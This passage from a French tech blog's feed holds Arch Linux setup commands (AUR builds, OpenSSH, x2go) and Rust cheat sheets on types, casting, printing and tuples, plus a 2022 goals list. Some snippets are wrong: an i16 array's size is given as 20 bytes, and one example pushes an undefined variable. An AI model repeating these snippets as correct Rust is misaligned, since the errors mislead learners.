<pre tabindex="0"><code>git clone https://aur.archlinux.org/snapd.git
cd snapd
makepkg -si
sudo systemctl enable --now snapd.socket
sudo ln -s /var/lib/snapd/snap /snap
reboot
snap --version
</code></pre><ul>
<li>Spotify:</li>
</ul>
<pre tabindex="0"><code>snap install spotify
</code></pre><ul>
<li>Paru:</li>
</ul>
<pre tabindex="0"><code>git clone https://aur.archlinux.org/paru.git
cd paru
makepkg -si
</code></pre><ul>
<li>VS Code:</li>
</ul>
<pre tabindex="0"><code>git clone https://aur.archlinux.org/visual-studio-code-bin.git
cd visual-studio-code-bin
makepkg -si
</code></pre><br/>
<h2 id="openssh">Openssh</h2>
<pre tabindex="0"><code>sudo pacman -Syu openssh
ip address
sudo systemctl enable sshd.service
sudo systemctl start sshd.service
</code></pre><br/>
<h2 id="x2go">x2go</h2>
<pre tabindex="0"><code>sudo pacman -Syu x2goserver
sudo x2godbadmin --createdb
sudo systemctl enable x2goserver.service
sudo systemctl start x2goserver.service
</code></pre><blockquote>
<p>Pour pouvoir utiliser x2go on va installer un second desktop env plus léger et sans bug.</p></blockquote>
<pre tabindex="0"><code>sudo pacman -Syu xfce4 xfce4-goodies
</code></pre><br/>
<p>Option pour pouvoir démarrer un server X au choix:</p>
<ul>
<li>Editer le fichier <code>sudo vim ~/.xinitrc</code> et ajouter le contenu suivant:</li>
</ul>
<pre tabindex="0"><code># Here Gnome is kept as default
session=${1:-gnome}

case $session in
    gnome             ) exec gnome-session;;
    xfce|xfce4        ) exec startxfce4;;
    # No known session, try to run it as command
    *                 ) exec $1;;
esac
</code></pre><br/>
<ul>
<li>Démarrage d&rsquo;un Desktop environment au choix via l&rsquo;une des deux commandes suivantes:</li>
</ul>
<pre tabindex="0"><code>xinit xfce
xinit gnome
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Aide mémoire types Rust</title>
            <link>https://leandeep.com/aide-m%C3%A9moire-types-rust/</link>
            <pubDate>Fri, 28 Jan 2022 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/aide-m%C3%A9moire-types-rust/</guid>
            <description>&lt;h2 id=&#34;literals&#34;&gt;Literals&lt;/h2&gt;
&lt;p&gt;Le type d&amp;rsquo;une variable peut être défini en ajoutant un suffixe derrière la valeur de la variable. Par exemple:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;let mon_test1: i32 = 12;

Equivaut à

let mon_test2 = 12i32;

Equivaut à 

let mon_test3 = 12_i32;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Retourner la taille d&amp;rsquo;une variable:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;println!(&amp;#34;Taille de `mon_test1` in bytes: {}&amp;#34;, std::mem::size_of_val(&amp;amp;mon_test1));
Taille de `mon_test1` in bytes: 4
// i32 -&amp;gt; 4 x 8 
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;casting&#34;&gt;Casting&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Il n&amp;rsquo;y a pas de &lt;em&gt;coercion&lt;/em&gt;, c&amp;rsquo;est-à-dire de la conversion implicite, entre les types primitifs en Rust. Par contre, il y a de la conversion explicite de type (Casting) grâce au mot clé &lt;code&gt;as&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="literals">Literals</h2>
<p>Le type d&rsquo;une variable peut être défini en ajoutant un suffixe derrière la valeur de la variable. Par exemple:</p>
<pre tabindex="0"><code>let mon_test1: i32 = 12;

Equivaut à

let mon_test2 = 12i32;

Equivaut à 

let mon_test3 = 12_i32;
</code></pre><p>Retourner la taille d&rsquo;une variable:</p>
<pre tabindex="0"><code>println!(&#34;Taille de `mon_test1` in bytes: {}&#34;, std::mem::size_of_val(&amp;mon_test1));
Taille de `mon_test1` in bytes: 4
// i32 -&gt; 4 x 8 
</code></pre><br/>
<h2 id="casting">Casting</h2>
<blockquote>
<p>Il n&rsquo;y a pas de <em>coercion</em>, c&rsquo;est-à-dire de la conversion implicite, entre les types primitifs en Rust. Par contre, il y a de la conversion explicite de type (Casting) grâce au mot clé <code>as</code>.</p></blockquote>
<pre tabindex="0"><code>let mon_float: f32 = 3.14159;
println!(&#34;{}&#34;, mon_float)
//3.14159

let mon_float2 = 3.6789_f32;
println!(&#34;{}&#34;, mon_float2)
//3.6789

//DONC la ligne suivante ne fonctionne pas:
let integer: u8 = mon_float; &lt;- Pas de conversion implicite (coercion)

//MAIS la ligne suivante fonctionne:
let mon_integer = mon_float as u8;
println!(&#34;{}&#34;, mon_integer)
//3

let mon_integer2 = mon_float2 as u8;
println!(&#34;{}&#34;, mon_integer2)
//3 &lt;- toujours 3, pas d&#39;arrondi supérieur

let mon_character = mon_integer as char;
mon_character
&#39;\u{3}&#39;
</code></pre><blockquote>
<p>A noter qu&rsquo;il n&rsquo;est pas possible de convertir explicitement un float en char.
<code>let mon_character = mon_decimal as char;</code> n&rsquo;est pas possible.</p></blockquote>
<p>Lorsqu&rsquo;on cast une variable X dans une nouvelle variable Y non signée (<em>unsigned</em>) par exemple Rust essaye de <em>fit</em> l&rsquo;ancienne variable dans la nouvelle. Des exemples valent mieux qu&rsquo;un long discours&hellip;</p>
<pre tabindex="0"><code>fn print_type_of&lt;T&gt;(_: &amp;T) {
    println!(&#34;{}&#34;, std::any::type_name::&lt;T&gt;())
}

let ma_var = 1000;
print_type_of(&amp;ma_var);
//i32
println!(&#34;{}&#34;, ma_var);
//1000

let ma_var2 = ma_var as u16;
print_type_of(&amp;ma_var2);
//u16
println!(&#34;{}&#34;, ma_var2);
//1000
//Pas de changement car 1000 rentre bien dans u16

let ma_var3 = ma_var as u8;
print_type_of(&amp;ma_var3);
//u8
println!(&#34;{}&#34;, ma_var3);
//232
// 1000 - 256 - 256 - 256 = 232 
// Pour les nombre positifs c&#39;est la même chose que le modulo 1000 mod 256 = 232

let mon_second_test = -1i8;
print_type_of(&amp;mon_second_test);
//i8
println!(&#34;{}&#34;, mon_second_test);
//-1
println!(&#34;{} as u8 = {}&#34;, mon_second_test, mon_second_test as u8);
//-1 as u8 = 255
//-1 + 256 = 255
</code></pre><p>Convertir un NAN</p>
<pre tabindex="0"><code>println!(&#34;nan as u8 = {}&#34;, f32::NAN as u8);
//0
</code></pre><p>Convertir des floats</p>
<pre tabindex="0"><code>println!(&#34;600.0 is {}&#34;, 600.0_f32 as u8);
// 600.0 is 255

println!(&#34;400.0 is {}&#34;, 400.0_f32 as u8);
// 400.0 is 255

println!(&#34;10000.0 is {}&#34;, 10000.0_f32 as u8);
// 10000.0 is 255

println!(&#34;1000000.0 is {}&#34;, 1000000.0_f32 as u8);
// 1000000.0 is 255

println!(&#34;255.0 is {}&#34;, 255.0_f32 as u8);
// 255.0 is 255

println!(&#34;256.0 is {}&#34;, 256.0_f32 as u8);
// 256.0 is 255

println!(&#34;-200.0 as u8 is {}&#34;, -200.0_f32 as u8);
// -200.0 as u8 is 0

println!(&#34;-1.0 as u8 is {}&#34;, -1.0_f32 as u8);
//-1.0 as u8 is 0
</code></pre><blockquote>
<p>A noter qu&rsquo;il existe le mot clé <code>unsafe</code> pour changer le comportement ci-dessus.</p></blockquote>
<br/>
<h2 id="aliasing">Aliasing</h2>
<p>Le mot clé <code>type</code> peut être utilisé en Rust pour donner un nouveau nom à un type existant.</p>
<blockquote>
<p>Contrairement aux types primitifs (f64, usize&hellip;), le nom donné à un &ldquo;nouveau&rdquo; type doit commencer par une masjuscule puis être en camel case. &ldquo;nouveau&rdquo; entre guillemets car il ne s&rsquo;agit pas réellement de nouveaux types mais d&rsquo;alias. Si ce format upper camel case n&rsquo;est pas respecté, il y aura un warning lors de la compilation. Il est possible de la désactiver en précédant la ligne par <code>#[allow(non_camel_case_types)]</code>.</p></blockquote>
<pre tabindex="0"><code>type Meter = u64;
type KiloMeter = u64;

#[allow(non_camel_case_types)]
type kilo_t = u32;
</code></pre><br/>
<h2 id="inference">Inference</h2>
<p>L&rsquo;inférence de type en Rust est bien faite. Plutôt que de juste regarder la valeur d&rsquo;une variable lors de son initialisation, Rust analyse comment est utilisée cette variable dans le reste du programme pour correctement inférer son type.</p>
<pre tabindex="0"><code>fn  main() {
    let mon_test = 5u8;
    let mut mon_vecteur = Vec::new();
    // /!\ Si vous commentez la ligne ci-dessous, 
    // Rust ne saura pas quoi donner comme type pour mon_vecteur.
    // Il y aura donc une erreur de compilation. 
    // Par contre, si on laisse la ligne suivante, Rust la lira lors 
    // de la compilation et déterminer que mon_vecteur est de type alloc::vec::Vec&lt;u8&gt;
    mon_vecteur.push(elem);
    println!(&#34;{:?}&#34;, mon_vecteur);
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Aide mémoire pour printer en Rust</title>
            <link>https://leandeep.com/aide-m%C3%A9moire-pour-printer-en-rust/</link>
            <pubDate>Sun, 16 Jan 2022 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/aide-m%C3%A9moire-pour-printer-en-rust/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Le print simple/ courant&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;println!(&amp;#34;{}, l&amp;#39;origine&amp;#34;, 42);
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Print avec des arguments positionnels&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;println!(&amp;#34;Hi {0}, I am {1}. Hi {1}, I am {0}&amp;#34;, &amp;#34;John&amp;#34;, &amp;#34;Peter&amp;#34;);
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Print avec des arguments nommés&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;println!(&amp;#34;{argument1} {argument2} {argument3}&amp;#34;,
    argument2=&amp;#34;fifi&amp;#34;,
    argument1=&amp;#34;riri&amp;#34;,
    argument3=&amp;#34;loulou&amp;#34;
);
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Printer en alignant la variable à afficher à droite&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;println!(&amp;#34;{ma_variable:&amp;gt;width$}&amp;#34;, ma_variable=&amp;#34;toto&amp;#34;, width=10);
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Printer en alignant à droite et en préfixant avec des zéros&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;println!(&amp;#34;{nombre:0&amp;gt;width$}&amp;#34;, nombre=100, width=6);
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Printer avec une conversion automatique en binaire&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;println!(&amp;#34;{} en binaire s&amp;#39;écrit {:b}&amp;#34;, 4, 4);
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Printer une structure&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><strong>Le print simple/ courant</strong></p>
<pre tabindex="0"><code>println!(&#34;{}, l&#39;origine&#34;, 42);
</code></pre><br/>
<p><strong>Print avec des arguments positionnels</strong></p>
<pre tabindex="0"><code>println!(&#34;Hi {0}, I am {1}. Hi {1}, I am {0}&#34;, &#34;John&#34;, &#34;Peter&#34;);
</code></pre><br/>
<p><strong>Print avec des arguments nommés</strong></p>
<pre tabindex="0"><code>println!(&#34;{argument1} {argument2} {argument3}&#34;,
    argument2=&#34;fifi&#34;,
    argument1=&#34;riri&#34;,
    argument3=&#34;loulou&#34;
);
</code></pre><br/>
<p><strong>Printer en alignant la variable à afficher à droite</strong></p>
<pre tabindex="0"><code>println!(&#34;{ma_variable:&gt;width$}&#34;, ma_variable=&#34;toto&#34;, width=10);
</code></pre><br/>
<p><strong>Printer en alignant à droite et en préfixant avec des zéros</strong></p>
<pre tabindex="0"><code>println!(&#34;{nombre:0&gt;width$}&#34;, nombre=100, width=6);
</code></pre><br/>
<p><strong>Printer avec une conversion automatique en binaire</strong></p>
<pre tabindex="0"><code>println!(&#34;{} en binaire s&#39;écrit {:b}&#34;, 4, 4);
</code></pre><br/>
<p><strong>Printer une structure</strong></p>
<pre tabindex="0"><code>#[derive(Debug)]
struct Voiture {
    modele: String,
    marque: String
}

    
let modele = &#34;508 GT&#34;.to_string();
let marque = &#34;Peugeot&#34;.to_string();
let voiture = Voiture {modele, marque};
println!(&#34;{:?}&#34;, voiture);
</code></pre><br/>
<p><strong>Addition dans un print</strong></p>
<pre tabindex="0"><code>println!(&#34;1 + 2 = {}&#34;, 1 + 2);
//println!(&#34;1 + 2 = {}&#34;, 1i32 + 2);
//println!(&#34;1 + 2 = {}&#34;, 1u32 + 2);
</code></pre><br/>
<p><strong>Soustraction dans un print</strong></p>
<pre tabindex="0"><code>println!(&#34;1 - 2 = {}&#34;, 1 - 2);
//println!(&#34;1 - 2 = {}&#34;, 1i32 - 2);

// Attention aux overflows 
println!(&#34;1 - 2 = {}&#34;, 1u32 - 2);
                          ^^^^^^^^ attempt to compute `1_u32 - 2_u32`, which would overflow
this arithmetic operation will overflow
</code></pre><br/>
<p><strong>Algèbre de Boole dans un print</strong></p>
<pre tabindex="0"><code>println!(&#34;vrai ET faux = {}&#34;, true &amp;&amp; false);
println!(&#34;vrai OU faux = {}&#34;, true || false);
println!(&#34;NON vrai = {}&#34;, !true);
</code></pre><br/>
<p><strong>Opérations binaires</strong></p>
<pre tabindex="0"><code>println!(&#34;01001 ET 00111 = {:05b}&#34;, 0b01001u32 &amp; 0b00111);
//01001 ET 00111 = 00001
println!(&#34;01001 OU 00111 = {:05b}&#34;, 0b01001u32 | 0b00111);
//01001 OU 00111 = 01111
println!(&#34;01001 XOR 00111 = {:05b}&#34;, 0b01001u32 ^ 0b00111);
//01001 XOR 00111 = 01110
// Décalage
println!(&#34;1 &lt;&lt; 4 = {}&#34;, 1u32 &lt;&lt; 4);
// 16
println!(&#34;0x80 &gt;&gt; 1 = 0x{:x}&#34;, 0x80u32 &gt;&gt; 1);
// 0x80 &gt;&gt; 1 = 0x40
</code></pre><br/>
<p><strong>Manière plus lisible d&rsquo;écrire des nombres</strong></p>
<pre tabindex="0"><code>println!(&#34;1 milliard peut s&#39;écrire {}&#34;, 1_000_000_000u32);
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Aide mémoire primitives Rust</title>
            <link>https://leandeep.com/aide-m%C3%A9moire-primitives-rust/</link>
            <pubDate>Tue, 11 Jan 2022 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/aide-m%C3%A9moire-primitives-rust/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Annoter le type des variables&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;let is_rust_cool: bool = true;

// let mon_float: f64 = 5.0; // Annotation simple
// let mon_integer = 5i32; // Annotation via suffixe 

// Ou inférence de type:
let mon_autre_float = 5.0; // f64
let mon_autre_integer = 5; // i32
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Le type de variable ne peut pas être changé&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Tableau de taille fixe et type connu&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;let petit_tableau: [i8; 5] = [1, 2, 3, 4, 5];
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Tableau de taille fixe, type connu et initialisé à 0&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><strong>Annoter le type des variables</strong></p>
<pre tabindex="0"><code>let is_rust_cool: bool = true;

// let mon_float: f64 = 5.0; // Annotation simple
// let mon_integer = 5i32; // Annotation via suffixe 

// Ou inférence de type:
let mon_autre_float = 5.0; // f64
let mon_autre_integer = 5; // i32
</code></pre><blockquote>
<p>Le type de variable ne peut pas être changé</p></blockquote>
<br/>
<p><strong>Tableau de taille fixe et type connu</strong></p>
<pre tabindex="0"><code>let petit_tableau: [i8; 5] = [1, 2, 3, 4, 5];
</code></pre><br/>
<p><strong>Tableau de taille fixe, type connu et initialisé à 0</strong></p>
<pre tabindex="0"><code>let petit_tableau2: [i8; 20] = [0; 20];
</code></pre><br/>
<p><strong>Retourner le nombre d&rsquo;éléments d&rsquo;un tableau</strong></p>
<pre tabindex="0"><code>println!(&#34;petit_tableau2 contient {} éléments&#34;, petit_tableau2.len());
</code></pre><br/>
<p><strong>Retourner la taille occupée en mémoire par un tableau</strong></p>
<pre tabindex="0"><code>use std::mem;
fn main() {
  let petit_tableau2: [i8; 20] = [0; 20];
  println!(&#34;petit_tableau2 occupe {} bytes&#34;, mem::size_of_val(&amp;petit_tableau2));
  // petit_tableau2 occupe 20 bytes
  let petit_tableau2: [i16; 20] = [0; 20];
  println!(&#34;petit_tableau2 occupe {} bytes&#34;, mem::size_of_val(&amp;petit_tableau2));
  // petit_tableau2 occupe 20 bytes
  // i8 &lt;-&gt; 8 bits &lt;-&gt; 1 byte
  // i16 &lt;-&gt; 16 bits &lt;-&gt; 2 bytes
}
</code></pre><br/>
<p><strong>Slicer des tableaux</strong></p>
<pre tabindex="0"><code>fn describe_slice(slice: &amp;[i16]) {
    println!(&#34;Slice[0]: {}&#34;, slice[0]);
    println!(&#34;Slice length: {}&#34;, slice.len());
}

fn main() {
  let petit_tableau2: [i16; 20] = [0; 20];
  describe_slice(&amp;petit_tableau2);
  //Slice[0]: 0
  //Slice length: 20
  describe_slice(&amp;petit_tableau2[0..2]);
  //Slice[0]: 0
  //Slice length: 2
}
</code></pre><br/>
<p><strong>Retourner l&rsquo;élément N d&rsquo;un tuple</strong></p>
<pre tabindex="0"><code>let mon_tuple = (1u8, 2u16, 3u32, 4u64, 5u32, 6u16, -1i8, -2i16, -3i32, -4i64, 0.1f32, 0.2f64, false, &#39;a&#39;, &#39;b&#39;);
println!(&#34;Premier element dans mon_tuple: {}&#34;, mon_tuple.0);
println!(&#34;Deuxième element dans mon_tuple: {}&#34;, mon_tuple.1);
</code></pre><br/>
<p><strong>Un tuple dans un tuple</strong></p>
<pre tabindex="0"><code>let mon_tuple_dans_tuple = ((1u8, 2u16, 2u32), (3u32, 5u8), -2i16);
println!(&#34;Print tuple dans tuples: {:?}&#34;, mon_tuple_dans_tuple);
//Print tuple dans tuples: ((1, 2, 2), (3, 5), -2)
println!(&#34;Premier tuple dans tuples: {:?}&#34;, mon_tuple_dans_tuple.0);
//Premier tuple dans tuples: (1, 2, 2)
</code></pre><blockquote>
<p>Attention les tuples trop longs ne peuvent pas être &ldquo;printés&rdquo;</p></blockquote>
<br/>
<p><strong>Renverser un tuple de 2 éléments/ une paire</strong></p>
<blockquote>
<p>Comme en Python les tuples peuvent être passés ou retournés dans les fonctions</p></blockquote>
<pre tabindex="0"><code>fn reverse(pair: (i32, bool)) -&gt; (bool, i32) {
    let (integer, boolean) = pair;
    (boolean, integer)
}

let mon_tuple = (1, true);
println!(&#34;mon_tuple = {:?}&#34;, mon_tuple);
//mon_tuple = (1, true)
println!(&#34;mon_tuple reversed = {:?}&#34;, reverse(mon_tuple));
//mon_tuple reversed = (true, 1)
</code></pre><blockquote>
<p>Comme en Python, les tuples contenant 1 élement, s&rsquo;écrivent <code>(&quot;titi&quot;,)</code></p></blockquote>
<br/>
<p><strong>Destructuration</strong></p>
<pre tabindex="0"><code>let mon_tuple = (1, &#34;titi&#34;, 0.5, true);
let (a, b, c, d) = mon_tuple;
println!(&#34;{:?}, {:?}, {:?}, {:?}&#34;, a, b, c, d);
//1, &#34;titi&#34;, 0.5, true
</code></pre><br/>
<p><strong>Structures</strong></p>
<pre tabindex="0"><code>#[derive(Debug)]
struct Matrix(f32, f32, f32, f32);

let ma_matrice = Matrix(0.1, 0.2, 1.1, 2.2);
println!(&#34;{:?}&#34;, ma_matrice);
Matrix(0.1, 0.2, 1.1, 2.2)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Et vous quels sont vos projets pour 2022 ?</title>
            <link>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2022/</link>
            <pubDate>Tue, 04 Jan 2022 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2022/</guid>
            <description>&lt;p&gt;Chaque année, j&amp;rsquo;aime me fixer des objectifs professionnels &lt;strong&gt;en supplément de&lt;/strong&gt; mon activité principale.&lt;/p&gt;
&lt;p&gt;Voici donc mon programme pour l&amp;rsquo;année 2022 (beaucoup plus simple que l&amp;rsquo;annéee 2021). En gros cela se résume en 5 maîtres-mots: &lt;code&gt;Blockchain&lt;/code&gt;, &lt;code&gt;Rust&lt;/code&gt;, &lt;code&gt;Trading&lt;/code&gt;, &lt;code&gt;Veille&lt;/code&gt; &amp;amp; &lt;code&gt;Innovation&lt;/code&gt;.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;1. Utiliser Rust pour tous mes développements personnels&lt;/strong&gt; (&amp;ldquo;développements professionels à usage personnel&amp;rdquo; devrais-je plutôt écrire) #TopPrio1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Torrent client app (wrap C++ lib en Rust) expérimentation&lt;/li&gt;
&lt;li&gt;Secu app (sur Mobile device)&lt;/li&gt;
&lt;li&gt;Notification app (un socle très simple et utilisable via API call en local pour toutes mes automations) (gui natif OS X)&lt;/li&gt;
&lt;li&gt;Cross-platform expérimentation lib/app (lib Rust partagée sur Android et iOS, et/ou Flutter et/ou Webassembly)&lt;/li&gt;
&lt;li&gt;2 Apps: voir les points &lt;code&gt;2.2&lt;/code&gt; et &lt;code&gt;2.3&lt;/code&gt; ci-dessous&lt;/li&gt;
&lt;li&gt;(Utiliser Actix et GraphQL dans une de ces apps)&lt;/li&gt;
&lt;li&gt;Algolia clone (search engine simple) en Rust / Webassembly / Service Worker&lt;/li&gt;
&lt;li&gt;Rust on embedded device (example Arduino)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. Blockchain Développement (Smart contracts dev/ Web3)&lt;/strong&gt; #TopPrio2&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Chaque année, j&rsquo;aime me fixer des objectifs professionnels <strong>en supplément de</strong> mon activité principale.</p>
<p>Voici donc mon programme pour l&rsquo;année 2022 (beaucoup plus simple que l&rsquo;annéee 2021). En gros cela se résume en 5 maîtres-mots: <code>Blockchain</code>, <code>Rust</code>, <code>Trading</code>, <code>Veille</code> &amp; <code>Innovation</code>.</p>
<br/>
<p><strong>1. Utiliser Rust pour tous mes développements personnels</strong> (&ldquo;développements professionels à usage personnel&rdquo; devrais-je plutôt écrire) #TopPrio1</p>
<ul>
<li>Torrent client app (wrap C++ lib en Rust) expérimentation</li>
<li>Secu app (sur Mobile device)</li>
<li>Notification app (un socle très simple et utilisable via API call en local pour toutes mes automations) (gui natif OS X)</li>
<li>Cross-platform expérimentation lib/app (lib Rust partagée sur Android et iOS, et/ou Flutter et/ou Webassembly)</li>
<li>2 Apps: voir les points <code>2.2</code> et <code>2.3</code> ci-dessous</li>
<li>(Utiliser Actix et GraphQL dans une de ces apps)</li>
<li>Algolia clone (search engine simple) en Rust / Webassembly / Service Worker</li>
<li>Rust on embedded device (example Arduino)</li>
</ul>
<p><strong>2. Blockchain Développement (Smart contracts dev/ Web3)</strong> #TopPrio2</p>
<ul>
<li>2.1. Arbitrage app (en Python. Comme le développement de ce projet est beaucoup trop avancé pour tout recommencer en Rust et que c&rsquo;est un sujet data (par rapport à ma stratégie de trading) le langage Python est très bien adapté à ce sujet). J&rsquo;aimerais ré-écrire les smart contracts en Rust (ou Yul à voir l&rsquo;intérêt) plutôt que Solidity car philosophiquement j&rsquo;ai dû mal avec le language Solidity qui n&rsquo;a pour seul intérêt que le développement EVM (certes énorme&hellip;). Si Solidity ne peut pas être remplacé (tout dépendra d&rsquo;ewasm je dirais), je garderai Solidity.</li>
<li>2.2. Trades &ldquo;irréalistes&rdquo; bot en Rust (Smart contract en Rust) + CEX (et non DEX) scanning (par simplicité et car il y a déjà énormément d&rsquo;opportunités) + Metamask. Donc détection des opportunités sur CEX et trades sur DEX pour pouvoir placer autant d&rsquo;ordres limites que je veux sans bloquer du capital (au passage je vous ai donné une petite stratégie de trading simple et bien rentable; c&rsquo;est cadeau 😁)</li>
<li>2.3. Portfolio export to Google spreadsheet pour au moins 2 des CEX que j&rsquo;utilise (en Rust même si en Python c&rsquo;est simplicime à faire). L&rsquo;objectif est d&rsquo;être aussi fluide en Rust qu&rsquo;en Python&hellip;</li>
</ul>
<p><strong>3. Scalping</strong> #Profit #TopPrio3</p>
<ul>
<li>Pas d&rsquo;automatisation. Approfondissement d&rsquo;un autre métier et d&rsquo;autres outils</li>
</ul>
<p><strong>4. Analyse Fondamentale et investissements</strong> #Profit #TopPrio4</p>
<ul>
<li>Business Analysis</li>
<li>Price tracking/alerting app nécessaire (Rust) pour projets crypto à forts portentiels (revente auto de positions à différents échelons)</li>
<li>Euronext vision 360 tracker (une v2 en RPA)</li>
</ul>
<p><strong>5. Ethical hacking</strong> (par passion depuis toujours)</p>
<p><strong>6. Lire un livre de développement personnel</strong></p>
<p><strong>7. Creuser React 360 si le temps le permet</strong> et builder une petite interface compatible Oculus/Meta Quest 2 + étudier comment se construisent les environnements de jeux vidéo/ simulation avec des personnages animés en VR (peut être bcp plus évolués que React 360) #Veille</p>
<p><strong>8. Monter un node Chainlink</strong> si ROI et bande passante #Profit</p>
<p><strong>9. Monter un node theGraph</strong> si ROI, bande passante et si un node Archive Ethereum n&rsquo;est plus nécessaire #Profit</p>
<p><strong>10. Expérimenter Reality Capture API</strong> (si j&rsquo;ai pu m&rsquo;offrir un nouveau Macbook pro 😅) et comparer le résultat du 3D scanning avec le Lidar de l&rsquo;iPhone. #Veille</p>
<p><strong>11. Asservir un robot avec ROS (Robot Operating System)</strong> (Simulation puis déploiement sur vrai simple robot DIY) #Veille</p>
<p><strong>12. Construire un LED matrix Wifi</strong> pour afficher le cours du BTC ou &ldquo;en réunion&rdquo; ou valeur de mon portfolio ou opportunité de trade&hellip; #Profit</p>
<p><strong>13. Piloter un LED matrix avec Streamdeck + Test trading avec Streamdeck</strong> #Fun #Profit</p>
<p><strong>14. Tester une découpeuse Laser ou CNC</strong> (pour création PCB ou autre) #Veille #IoT #Fun</p>
<p><strong>15. Tester une imprimante 3D résine</strong> #Veille</p>
<p><strong>16. ROS avec un 6Dof Robot arm</strong> (si le budget le permet bien évidemment. Il doit être équipé d&rsquo;un petit laser cut de 2.5W) #Veille</p>
]]></content>
        </item>
        
        <item>
            <title>Installer un REPL Rust et jouer avec les types et slices</title>
            <link>https://leandeep.com/installer-un-repl-rust-et-jouer-avec-les-types-et-slices/</link>
            <pubDate>Fri, 31 Dec 2021 06:34:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-un-repl-rust-et-jouer-avec-les-types-et-slices/</guid>
            <description>&lt;h3 id=&#34;introduction&#34;&gt;Introduction&lt;/h3&gt;
&lt;p&gt;Dans cet article, nous allons voir comment installer le REPL &lt;code&gt;evcxr&lt;/code&gt; pour Rust développé par Google. Ce genre d&amp;rsquo;outil est très utile lorsque vous apprenez un langage (ou même quand vous êtes expérimenté et que vous voulez vérifier quelque chose). Avec &lt;code&gt;evcxr&lt;/code&gt;, il n&amp;rsquo;est pas nécessaire de recompiler son programme Rust à chaque nouvelle commande exécutée. Ce REPL le fait tout seul; un gros gain de temps.&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;installation&#34;&gt;Installation&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;rustup component add rust-src
cargo install evcxr_repl
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h3 id=&#34;démarrage&#34;&gt;Démarrage&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Lien vers la &lt;a href=&#34;https://github.com/google/evcxr/blob/main/COMMON.md&#34;&gt;documentation&lt;/a&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h3 id="introduction">Introduction</h3>
<p>Dans cet article, nous allons voir comment installer le REPL <code>evcxr</code> pour Rust développé par Google. Ce genre d&rsquo;outil est très utile lorsque vous apprenez un langage (ou même quand vous êtes expérimenté et que vous voulez vérifier quelque chose). Avec <code>evcxr</code>, il n&rsquo;est pas nécessaire de recompiler son programme Rust à chaque nouvelle commande exécutée. Ce REPL le fait tout seul; un gros gain de temps.</p>
<br/>
<h3 id="installation">Installation</h3>
<pre tabindex="0"><code>rustup component add rust-src
cargo install evcxr_repl
</code></pre><br/>
<h3 id="démarrage">Démarrage</h3>
<blockquote>
<p>Lien vers la <a href="https://github.com/google/evcxr/blob/main/COMMON.md">documentation</a></p></blockquote>
<pre tabindex="0"><code>evcxr
</code></pre><br/>
<p>A titre d&rsquo;exemple, jouez avec les types primitifs en créant des variables mutables ou non et observez le comportement du langage Rust dans le REPL.</p>
<blockquote>
<p><code>i8</code>: entier signé de 8 bits, soit une valeur comprise entre <code>[-128;+127]</code><br/>
<code>i16</code>: entier signé de 16 bits<br/>
<code>i32</code><br/>
<code>i64</code><br/>
<code>i128</code><br/>
<code>u8</code>: entier non-signé de 8 bits<br/>
